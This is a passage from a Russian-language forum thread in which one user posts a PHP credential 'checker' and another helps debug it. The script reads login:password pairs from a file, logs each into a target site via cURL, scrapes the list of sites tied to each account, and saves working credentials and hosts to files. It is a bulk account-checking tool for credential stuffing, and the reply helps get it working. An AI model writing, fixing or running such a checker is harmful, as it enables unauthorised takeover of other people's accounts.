PDA

Просмотр полной версии : Трабла с чекером


Велемир
17.05.2009, 21:39
<?php

@set_time_limit(0);

$logins = array();

$passwords = array();

$user = '';

$pass = '';

$z = 0;

$fp = fopen("sites.txt","w");

$fp1 = fopen("accounts.txt","r");

$fp2 = fopen("count.txt","w");

$n = array();


while(!feof($fp1)) {

$str = fgets($fp1,1024);

$z++;

$str1 = explode(":",$str);


$logins[] = $str1[0];

$passwords[] = $str1[1];



}



$i = 0;


for ($q = 0;$q < $z; $q++) {


$url = "http://www.site.ru";
$ua = " IE 6.0";
$req = "action=login&username=$logins[$q]&passwd=$passwords[$q]&submit=Войти";


$ch = curl_init();

curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_USERAGENT,$ua);
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cook");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cook");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$req);

$res = curl_exec($ch);

curl_close($ch);



$ch1 = curl_init();

$url1 = "http://site.ru/?action=sites";

curl_setopt($ch1,CURLOPT_URL,$url1);;
curl_setopt($ch1,CURLOPT_REFERER,$url);
curl_setopt($ch1,CURLOPT_COOKIEFILE,"./cook");
curl_setopt($ch1,CURLOPT_COOKIEJAR,"./cook");
curl_setopt($ch1,CURLOPT_USERAGENT,$ua);
curl_setopt($ch1,CURLOPT_RETURNTRANSFER,1);


$res1 = curl_exec($ch1);


curl_close($ch1);




if(preg_match_all('|title="(.*)">|',$res1,$s)) {


foreach($s[1] as $v) {


$n[] = $v;

echo "$v<br>";

$i++;


}

for($k = 0; $k < count($n); $k++) {


$result = parse_url($n[$k]);

fwrite($fp,$result['host']."\r\n");

echo "<br>";


}

fwrite($fp2,Логин.":".$logins[$q]."\r\n".Пароль.":".$passwords[$q].Сайтов.":".count($n)."\r\n\r\n");

$ch2 = curl_init();

$url2 = "http://site.ru/?action=logout";

curl_setopt($ch2,CURLOPT_URL,$url2);;
curl_setopt($ch2,CURLOPT_REFERER,$url1);
curl_setopt($ch2,CURLOPT_COOKIEFILE,"./cook");
curl_setopt($ch2,CURLOPT_COOKIEJAR,"./cook");
curl_setopt($ch2,CURLOPT_USERAGENT,$ua);
curl_setopt($ch2,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch2,CURLOPT_FOLLOWLOCATION,1);


$res2 = curl_exec($ch2);

echo $res2;

curl_close($ch2);



}




else {


echo "Fuckin sucker!";



}


}




fclose($fp);
fclose($fp1);
fclose($fp2);






?>



Чекер работает но,сцуко,почему-то считывает из массивов только одну пару логин:пароль...Почему так происходит,мну непонятно.Где-то с циклами или проверками замутил чтоли... Кто может помочь разобраться ?

ЗЫ: Во всём остальном - рабочее.Где что неправильно или некорректно использовал,выслушаю)).Може т,для себя что новое открою и проще в реализации.Спасибо.

Pashkela
17.05.2009, 21:59
Ну для начала:

$req = "action=login&username=$logins[$q]&passwd=$passwords[$q]&submit=Войти"

непонятно, как у тебя вообще работает, массив в двойных кавычках пишется в {} скобках или закрывай кавычки и отделяй точками